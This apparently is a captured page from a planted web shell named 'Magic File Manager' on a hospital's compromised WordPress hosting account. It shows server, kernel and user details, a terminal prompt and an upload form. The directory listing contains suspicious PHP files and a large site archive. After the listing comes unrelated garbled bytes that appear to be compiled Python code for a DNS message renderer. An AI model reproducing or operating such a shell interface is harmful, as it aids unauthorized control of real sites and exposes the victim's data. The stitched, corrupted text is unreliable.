✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� .well-known--drwxr-xr-x
� shivshaktihospital.com--drwxr-xr-x
� wp-admin--drwxr-xr-x
� wp-content--drwxr-xr-x
� wp-includes--drwxr-xr-x
⚙� .htaccess0.88 KB-rw-r--r--
📄 .htaccess.bk0.556 KB-rw-r--r--
📄 error_log1.41 MB-rw-r--r--
� index.php0.396 KB-rw-r--r--
📃 license.txt19.437 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� readme.html7.233 KB-rw-r--r--
📦 shivshaktihospital.com.zip499.69 MB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� wp-activate.php7.537 KB-rw-r--r--
� wp-blog-header.php0.343 KB-rw-r--r--
� wp-comments-post.php2.269 KB-rw-r--r--
� wp-config-sample.php3.261 KB-rw-r--r--
� wp-config.php3.16 KB-rw-r--r--
� wp-cron.php5.485 KB-rw-r--r--
� wp-links-opml.php2.435 KB-rw-r--r--
� wp-load.php3.845 KB-rw-r--r--
� wp-login.php51.305 KB-rw-r--r--
� wp-mail.php8.522 KB-rw-r--r--
� wp-postnews.php12.595 KB-rw-r--r--
� wp-settings.php32.375 KB-rw-r--r--
� wp-signup.php34.259 KB-rw-r--r--
� wp-trackback.php5.27 KB-rw-r--r--
� xmlrpc.php3.13 KB-rw-r--r--
3 ¢báW“.ã@shdZddlmZddlZddlZddlZddlZddlZddl m Z dZ dZ dZ dZGdd „d eƒZdS) z*Help for building DNS wire format messagesé)ÚBytesIONé)Úlongééc@steZdZdZddd„Zdd„Zd d „Zejj fd d „Z d d„Z dd„Z ddd„Z ejjfdd„Zdd„Zdd„ZdS)ÚRendereraiHelper class for building DNS wire-format messages. Most applications can use the higher-level L{dns.message.Message} class and its to_wire() method to generate wire-format messages. This class is for those applications which need finer control over the generation of messages. Typical use:: r = dns.renderer.Renderer(id=1, flags=0x80, max_size=512) r.add_question(qname, qtype, qclass) r.add_rrset(dns.renderer.ANSWER, rrset_1) r.add_rrset(dns.renderer.ANSWER, rrset_2) r.add_rrset(dns.renderer.AUTHORITY, ns_rrset) r.add_edns(0, 0, 4096) r.add_rrset(dns.renderer.ADDTIONAL, ad_rrset_1) r.add_rrset(dns.renderer.ADDTIONAL, ad_rrset_2) r.write_header() r.add_tsig(keyname, secret, 300, 1, 0, '', request_mac) wire = r.get_wire() @ivar output: where rendering is written @type output: BytesIO object @ivar id: the message id @type id: int @ivar flags: the message flags @type flags: int @ivar max_size: the maximum size of the message @type max_size: int @ivar origin: the origin to use when rendering relative names @type origin: dns.name.Name object @ivar compress: the compression table @type compress: dict @ivar section: the section currently being rendered @type section: int (dns.renderer.QUESTION, dns.renderer.ANSWER, dns.renderer.AUTHORITY, or dns.renderer.ADDITIONAL) @ivar counts: list of the number of RRs in each section @type counts: int list of length 4 @ivar mac: the MAC of the rendered message (if TSIG was used) @type mac: string NréÿÿcCshtƒ|_|dkr tjddƒ|_n||_||_||_||_i|_t |_ ddddg|_ |jj dƒd|_ dS)aóInitialize a new renderer. @param id: the message id @type id: int @param flags: the DNS message flags @type flags: int @param max_size: the maximum message size; the default is 65535. If rendering results in a message greater than I{max_size}, then L{dns.exception.TooBig} will be raised. @type max_size: int @param origin: the origin to use when rendering relative names @type origin: dns.name.Name or None. Nriÿÿóé Ús )rÚoutputÚrandomZrandintÚidÚflagsÚmax_sizeÚoriginÚcompressÚQUESTIONÚsectionÚcountsÚwriteÚmac)Úselfrrrr©rú/usr/lib/python3.6/renderer.pyÚ__init__Ns zRenderer.__init__cCs^|jj|ƒ|jjƒg}x(|jjƒD]\}}||kr&|j|ƒq&Wx|D] }|j|=qJWdS)zÕTruncate the output buffer at offset I{where}, and remove any compression table entries that pointed beyond the truncation point. @param where: the offset @type where: int N)r ÚseekÚtruncaterÚitemsÚappend)rÚwhereZkeys_to_deleteÚkÚvrrrÚ _rollbackks   zRenderer._rollbackcCs&|j|kr"|j|krtjj‚||_dS)aZSet the renderer's current section. Sections must be rendered order: QUESTION, ANSWER, AUTHORITY, ADDITIONAL. Sections may be empty. @param section: the section @type section: int @raises dns.exception.FormError: an attempt was made to set a section value less than the current section. N)rÚdnsÚ exceptionZ FormError)rrrrrÚ _set_section}s  zRenderer._set_sectioncCsz|jtƒ|jjƒ}|j|j|j|jƒ|jjtj d||ƒƒ|jjƒ}||j krd|j |ƒt j j‚|jtd7<dS)aAdd a question to the message. @param qname: the question name @type qname: dns.name.Name @param rdtype: the question rdata type @type rdtype: int @param rdclass: the question rdata class @type rdclass: int z!HHrN)r&rr ÚtellÚto_wirerrrÚstructÚpackrr#r$r%ÚTooBigr)rZqnameZrdtypeZrdclassÚbeforeÚafterrrrÚ add_questionŽs     zRenderer.add_questioncKsh|j|ƒ|jjƒ}|j|j|j|jf|Ž}|jjƒ}||jkrR|j|ƒtj j ‚|j ||7<dS)aAdd the rrset to the specified section. Any keyword arguments are passed on to the rdataset's to_wire() routine. @param section: the section @type section: int @param rrset: the rrset @type rrset: dns.rrset.RRset object N) r&r r'r(rrrr#r$r%r+r)rrZrrsetÚkwr,Únr-rrrÚ add_rrset£s     zRenderer.add_rrsetcKsj|j|ƒ|jjƒ}|j||j|j|jf|Ž}|jjƒ}||jkrT|j|ƒtj j ‚|j ||7<dS)a©Add the rdataset to the specified section, using the specified name as the owner name. Any keyword arguments are passed on to the rdataset's to_wire() routine. @param section: the section @type section: int @param name: the owner name @type name: dns.name.Name object @param rdataset: the rdataset @type rdataset: dns.rdataset.Rdataset object N) r&r r'r(rrrr#r$r%r+r)rrÚnameZrdatasetr/r,r0r-rrrÚ add_rdataset¸s     zRenderer.add_rdatasetc Csˆ|tdƒM}||d>O}|jtƒ|jjƒ}|jjtjddtj j ||dƒƒ|dk �rJ|jjƒ}x’|D]Š}tjd|j dƒ}|jj|ƒ|jjƒ} |j |jƒ|jjƒ} | | dks¶t ‚|jj| dƒtjd | | ƒ}|jj|ƒ|jjddƒqfW|jjƒ} | |dk�st ‚|jj|dƒtjd | |ƒ}|jj|ƒ|jjddƒ|jjƒ} | |jk�rr|j|ƒtjj‚|jtd 7<dS) aØAdd an EDNS OPT record to the message. @param edns: The EDNS level to use. @type edns: int @param ednsflags: EDNS flag values. @type ednsflags: int @param payload: The EDNS sender's payload field, which is the maximum size of UDP datagram the sender can handle. @type payload: int @param options: The EDNS options list @type options: list of dns.edns.Option instances @see: RFC 2671 lÿ~éz!BHHIHrNz!HHirz!Hr)rr&Ú ADDITIONALr r'rr)r*r$Ú rdatatypeÚOPTZotyper(ÚAssertionErrorrrr#r%r+r) rZednsZ ednsflagsZpayloadZoptionsr,ZlstartÚoptZstuffÚstartÚendZlendr-rrrÚadd_ednsÑs<                  zRenderer.add_ednsc  CsB|jtƒ|jjƒ} |jjƒ} tjj| ||tt j ƒƒ||||||d� \} |_ } |j |j|j |j ƒ|jjtjdtjjtjjddƒƒ|jjƒ} |jj| ƒ|jjƒ}|| dks´t‚||jkrÐ|j| ƒtjj‚|jj| dƒ|jjtjd|| ƒƒ|jtd7<|jjdƒ|jjtjd|jtƒƒ|jjddƒd S) aõAdd a TSIG signature to the message. @param keyname: the TSIG key name @type keyname: dns.name.Name object @param secret: the secret to use @type secret: string @param fudge: TSIG time fudge @type fudge: int @param id: the message id to encode in the tsig signature @type id: int @param tsig_error: TSIG error code; default is 0. @type tsig_error: int @param other_data: TSIG other data. @type other_data: string @param request_mac: This message is a response to the request which had the specified MAC. @type request_mac: string @param algorithm: the TSIG algorithm to use @type algorithm: dns.name.Name object )Ú algorithmz!HHIHrirz!Hré N)r&r5r r'Úgetvaluer$ÚtsigZsignÚintÚtimerr(rrrr)r*r6ZTSIGÚ rdataclassÚANYr8rr#r%r+rr)rZkeynameZsecretZfudgerZ tsig_errorZ other_dataZ request_macr=r,ÚsZ tsig_rdataZctxZ rdata_startr-rrrÚadd_tsigs:          zRenderer.add_tsigc CsX|jjdƒ|jjtjd|j|j|jd|jd|jd|jdƒƒ|jjddƒdS)z¾Write the DNS message header. Writing the DNS message header is done after all sections have been rendered, but before the optional TSIG signature is added. rz!HHHHHHrrrN)r rrr)r*rrr)rrrrÚ write_header5s  zRenderer.write_headercCs |jjƒS)z@Return the wire format message. @rtype: string )r r?)rrrrÚget_wireCszRenderer.get_wire)NrrN)N)Ú__name__Ú __module__Ú __qualname__Ú__doc__rr#r&r$rCÚINr.r1r3r<r@Zdefault_algorithmrFrGrHrrrrr"s*  04r)rLÚiorr)r rBZ dns.exceptionr$Zdns.tsigZ_compatrrZANSWERZ AUTHORITYr5ÚobjectrrrrrÚs